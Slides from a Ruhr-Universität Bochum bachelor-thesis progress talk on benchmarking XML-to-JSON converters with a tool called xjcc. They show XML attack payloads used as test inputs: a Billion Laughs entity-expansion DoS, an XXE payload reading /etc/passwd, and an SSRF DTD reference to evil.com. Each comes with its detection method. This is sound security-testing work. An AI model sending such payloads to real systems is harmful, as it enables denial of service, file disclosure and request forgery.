RUHR-UNIVERSITÄT BOCHUM

Bridging the Gap: Secure and lossless conversion of XML data structures to the JSON format

Bachelor thesis ■ March 30, 2017 – June 29, 2017

April 25, 2017

Advisors: Dennis Felsch & Paul Rösler

Jan Holthuis

hgi Lehrstuhl für Netz- und Datensicherheit

Overview

Last time we learned that...

RUB

- XML and JSON are very popular formats in many areas (Web APIs in particular)
- Support varies by programming language, framework, etc.
- Lossless conversion of arbitrary to JSON isn't trivial
- There are plenty of converters available... but how good are they?
- I started to implement a tool to benchmark existing solutions

hgi NDS

Overview

Progress made in the last two weeks

`xjcc` Tool Development

- Added concurrency (threading) for faster tests
- Tool now checks if resulting JSON is erroneous
  - Using JSON linting of the `demjson` library
- Implemented groundwork for XML attacks (more on next slides)

Overview

XML Attacks

- Fall in these basic categories:
  - Denial of Service (Billion Laughs, Quadratic Blowup)
  - File System Access (XXE, XInclude, ...)
  - Server-Side Request Forgery (DTD Retrieval, Schema Location, etc.)

Denial of Service

```
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
  <!ENTITY a "lol">
  <!ENTITY a1 "&a;&a;[...]&a;&a;">
  <!ENTITY a2 "&a1;&a1;[...]&a1;&a1;">
  <!-- [...] -->
  <!ENTITY a9 "&a8;&a8;[...]&a8;&a8;">
]>
<data>&a9;</data>
```

1. Run test as a separate process (`fork()`)
2. Set max CPU and memory usage via Linux' `rlimit`
3. Run converter
4. Check if process has been killed by the kernel

File System Access

```
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
  <!ELEMENT data ANY >
  <!ENTITY file SYSTEM "file:///etc/
    ↪ passwd">
]>
<data>&file;</data>
```

1. Create test files that contain certain string
2. Run converter
3. Check if string is present in resulting file

Server-Side Request Forgery

```
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD
    ↪ XHTML 1.0 Transitional//EN" "
    ↪ http://evil.com/TR/xhtml1/DTD/
    ↪ xhtml1-transitional.dtd">
<html>
    <head />
    <body>text</body>
</html>
```

1. Start a webserver in a background thread
2. Run converter
3. Check if webserver received any HTTP requests

Overview

Next Steps

- Research and establish conversion criteria
- Create test documents
- Evaluate current solutions using the test documents
- Possibly develop custom algorithm

Thanks!

RUB

Questions?

Reach out via email:

- **Jan Holthuis**
  jan.holthuis@rub.de